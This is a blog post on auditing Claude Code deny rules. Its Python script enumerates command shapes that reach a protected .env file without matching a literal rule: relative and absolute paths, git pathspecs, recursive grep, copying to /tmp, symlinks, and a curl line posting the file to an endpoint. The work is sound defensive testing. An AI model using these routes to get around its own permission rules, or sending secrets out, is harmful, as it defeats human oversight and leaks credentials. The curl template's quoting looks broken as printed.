CLAUDE LABJP
CLI — Claude Code v2.1.261 landed on September 4. Of its 67 changes, 46 are fixes, and on the CLI side they cluster around input handling and background executionSKILLS — The new /skill-doctor lists which loaded skills go unused and how much context each one costs you every turn. As a starting point for cleanup, it is plainly usefulCOST — In one real-world setup the skill list alone consumed roughly 13,800 tokens per turn. Eighty-four skills had never been called, and duplicates from double-enabled plugins accounted for 41% of the totalLIMIT — New bashOutputMaxChars and taskOutputMaxChars settings raise how much command and background output reaches Claude inline before it is spilled to a file, up to 128K charactersBREAKING — Prompt word-editing keys now follow Bash and keybindingFlavor no longer has any effect. In auto mode, links that embed content into public diagram renderers count as uploadsSAFEGUARDS — Enterprise Frontier Safeguards was announced on September 1. The monitoring data sits in cloud infrastructure the customer controls rather than Anthropic's, and there is no extra chargeCLI — Claude Code v2.1.261 landed on September 4. Of its 67 changes, 46 are fixes, and on the CLI side they cluster around input handling and background executionSKILLS — The new /skill-doctor lists which loaded skills go unused and how much context each one costs you every turn. As a starting point for cleanup, it is plainly usefulCOST — In one real-world setup the skill list alone consumed roughly 13,800 tokens per turn. Eighty-four skills had never been called, and duplicates from double-enabled plugins accounted for 41% of the totalLIMIT — New bashOutputMaxChars and taskOutputMaxChars settings raise how much command and background output reaches Claude inline before it is spilled to a file, up to 128K charactersBREAKING — Prompt word-editing keys now follow Bash and keybindingFlavor no longer has any effect. In auto mode, links that embed content into public diagram renderers count as uploadsSAFEGUARDS — Enterprise Frontier Safeguards was announced on September 1. The monitoring data sits in cloud infrastructure the customer controls rather than Anthropic's, and there is no extra charge
Articles/Claude Code
Claude Code/2026-09-05Intermediate

My deny rule was watching a filename, not the routes that reach it

One line in deny let several other spellings of the same file walk right past. Here is the small matrix I build to list every route to a protected file, and how I re-check it on upgrade day.

Claude Code249Permissions4Unattended runs2Security12

I was rereading the logs from an unattended run late one evening. My settings had a single line under denyRead(./.env) — and I remember thinking that corner was covered.

That comfort lasted until a few lines further down, where a command starting with grep -r was sitting in the transcript. What I had written into the rule was a filename. What I needed to protect was every route that reaches that file.

The first thing I would like to put plainly: a deny rule tells you nothing about its own reach until you test it. If you follow the Claude Code changelog, this area moves between releases. v2.1.259 closed several Bash deny-rule gaps — files passed as option values, file arguments to git diff and git grep, compound commands like cd DIR && cat FILE — and v2.1.260 then rolled part of that tightening back (Claude Code CHANGELOG).

So the same settings file can behave differently on the day you upgrade. That pushed me to build the checking side before I wrote another rule.

How many spellings reach one file

I started by counting. In a working directory holding a single .env, I compared five differently-written paths by device number and inode.

import os
 
cands = [
    ".env",
    "./.env",
    os.path.join(os.getcwd(), ".env"),
    "config/../.env",
    "secrets/../.env",
]
 
seen = {}
for c in cands:
    try:
        st = os.stat(c)
        seen.setdefault((st.st_dev, st.st_ino), []).append(c)
    except FileNotFoundError:
        print("miss", c)
 
for key, group in seen.items():
    print("same file ->", len(group), "spellings:", group)

The run printed exactly one line.

same file -> 5 spellings: ['.env', './.env', '/tmp/dr/proj/.env', 'config/../.env', 'secrets/../.env']

Even a detour through an unrelated secrets/ directory lands back on the same inode once .. is involved. From the filesystem's point of view that is unremarkable. From the point of view of a rule written as text, those five look like five different things.

What I had missed was simpler than any of the gaps in the changelog: the thing I wanted to protect and the thing my rule compared against were not the same kind of object.

A small script that lists the routes

So I wrote a tool that takes the paths I want protected and prints the shapes of commands that reach them. It does not judge anything. It lists.

#!/usr/bin/env python3
"""Enumerate the command shapes that reach a protected file, and show which
of them your deny rule matches as plain text. Fill in `result` by hand."""
import argparse
import os
 
SHAPES = [
    ("direct",       "cat {p}"),
    ("dot-slash",    "cat ./{p}"),
    ("absolute",     'cat "$PWD/{p}"'),
    ("roundabout",   "cat {dir}/../{dirbase}/{base}"),
    ("cd-compound",  "cd {dir} && cat {base}"),
    ("option-value", "git blame --ignore-revs-file={p} ."),
    ("option-glued", "grep -f{p} ."),
    ("at-file",      "curl -d @{p} "$ENDPOINT""),
    ("git-pathspec", "git diff -- {p}"),
    ("git-grep",     "git grep -e token -- {p}"),
    ("recursive",    "grep -r token {dir}"),
    ("copy-out",     "cp -r {dir} /tmp/copy"),
    ("glob",         "cat {dir}/{stem}*"),
    ("symlink",      "ln -s {p} /tmp/link && cat /tmp/link"),
]
 
 
def fields(path):
    p = path[2:] if path.startswith("./") else path
    d = os.path.dirname(p)
    b = os.path.basename(p)
    stem = b.split(".", 2)[0] + "." + b.split(".", 2)[1] if b.count(".") >= 1 else b
    return {
        "p": p,
        "dir": d or ".",
        "dirbase": os.path.basename(d) if d else ".",
        "base": b,
        "stem": stem,
    }
 
 
def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("paths", nargs="+")
    ap.add_argument("--rule", action="append", default=[],
                    help="literal substring your deny rule matches on")
    a = ap.parse_args()
 
    print("path\tshape\tcommand\trule_text_hit\tresult")
    for path in a.paths:
        f = fields(path)
        for name, tpl in SHAPES:
            if name == "roundabout" and f["dir"] == ".":
                continue
            cmd = tpl.format(**f)
            hit = "yes" if any(r in cmd for r in a.rule) else "no"
            print(f"{f['p']}\t{name}\t{cmd}\t{hit}\t")
 
 
if __name__ == "__main__":
    main()

Into --rule you pass the literal strings your own rule matches on. The rule_text_hit column is a deliberately naive check — does my rule string appear inside this command at all. It does not reproduce Claude Code's internal matching, and it is not meant to. It exists so I can see, in one column, how far the string I wrote does not reach.

The result column comes out empty on purpose. That is where I record what actually happened when I tried the command in my own environment: allowed, or refused. Leaving it unfilled by machine is the point of the tool, not a shortcoming of it.

Reading the table, the string only reached part of the way

I gave it two protected paths (.env and config/.env.production) and two naive rules (cat .env and cat ./.env).

$ python3 deny_route_matrix.py .env config/.env.production \
    --rule "cat .env" --rule "cat ./.env"

The output came to 27 rows, and rule_text_hit said yes on 5 of them. The other 22 reach the same files without sharing a single character with what I had written.

ShapeExample commandMatches my rule text?
directcat .envYes
absolutecat "$PWD/.env"No
option-valuegit blame --ignore-revs-file=.env .No
at-filecurl -d @.env "$ENDPOINT"No
git-pathspecgit diff -- .envNo
recursivegrep -r token .No
copy-outcp -r . /tmp/copyNo
symlinkln -s .env /tmp/link && cat /tmp/linkNo

The two that bothered me most are recursive and copy-out. Neither one types the filename even once, yet both put the contents somewhere readable. Commands that address a whole directory had fallen entirely outside my mental category of "operations that read .env".

There is one more row I want to be honest about. For .env, the cd-compound shape (cd . && cat .env) came back yes — but only because the directory happened to be ., which left the literal cat .env inside the string. For config/.env.production the same shape becomes cd config && cat .env.production and matches nothing. A row that says yes is worth reading once for why it said yes, rather than being filed away as reassurance.

The mistake I made building it

My first version tried to drop a leading ./ by writing path.lstrip("./"). Running it, the first column showed env where I expected .env.

>>> ".env".lstrip("./")
'env'
>>> ".env".removeprefix("./")
'.env'

lstrip does not remove a prefix. It removes any of the given characters from the front, over and over, and both . and / were in that set — so the leading dot of .env went with them.

The table it produced looked perfectly plausible while listing routes to files that did not exist. I caught it by eye, which was luck more than method. A checking tool that fails quietly is the worst shape a checking tool can take.

Since then I keep one rule for these small tools: always print the input as the tool understood it. The first column is what gave the bug away.

Run it once, on the day you upgrade

The routine I settled on has three parts.

  • Keep the list of protected paths in one file, committed alongside the project
  • Generate the table from it, and fill the result column by hand in your own environment
  • Save the filled table with a date and a version number, then diff it after an upgrade

The third part is the one that earns its keep. The table matters less than the difference between this table and the last one. If result changes while my settings did not, then what changed was the ground underneath, not me.

Protect the routes to a file, not the name of it. Running unattended schedules as a solo developer, the days I forget that distinction are reliably the days a new command shape appears in the transcript. So now I reach for counting routes before I reach for adding rules.

How the permission settings themselves are written is covered well in the Claude Code settings documentation. What I wanted to add is the part that comes after writing them.

Pick the one file you would least like read aloud, and build this table for it once. How many of those 27 rows sit outside what you had pictured is probably a number only the people who run it get to know. I did not know mine until I found that grep -r line.

Share

Thank You for Reading

Claude Lab is ad-free, supported entirely by members like you. We publish practical guides daily with implementation code, benchmarks, and production-ready patterns. If you've found it useful, we'd love to have you on board.

  • Copy-paste ready implementation code
  • New advanced guides published daily
  • $5/mo or $15 for lifetime access
View Membership →

If you found this article helpful, a small tip ($1.50) would mean a lot to us. Your support helps keep this site ad-free and covers server and hosting costs.

Related Articles

Claude Code2026-07-18
I Believed Plan Mode Only Read — Replacing That Belief With Machinery
Claude Code 2.1.212 fixed a bug where plan mode ran file-modifying Bash commands without the permission prompt or the SDK canUseTool callback. Here is what could happen while that assumption was broken, how to verify your own setup, and how to stop leaning on a mode name for safety.
Claude Code2026-07-17
The String I Approved Wasn't the String I Read — Testing a Relayed Permission Prompt with Deceptive Characters
I pushed bidi overrides and zero-width characters through my own approval relay. NFKC normalization caught 0%. Here is why, and the implementation that catches 100% with zero false positives.
Claude Code2026-07-30
You Added a Second Working Root — Now Ask How Far Your Ignore Rules and Deny Patterns Actually Reach
Adding a working root mid-session does not carry your ignore rules or deny patterns with it. Measured evidence from git check-ignore and a three-way matcher comparison, plus the scope-delta audit script I now run from the DirectoryAdded hook.
📚RECOMMENDED BOOKS
Build a Large Language Model (From Scratch)
Sebastian Raschka
LLM Dev
Prompt Engineering for LLMs
Berryman & Ziegler
Prompting
AI Engineering
Chip Huyen
AI Eng
* Contains affiliate links
See all →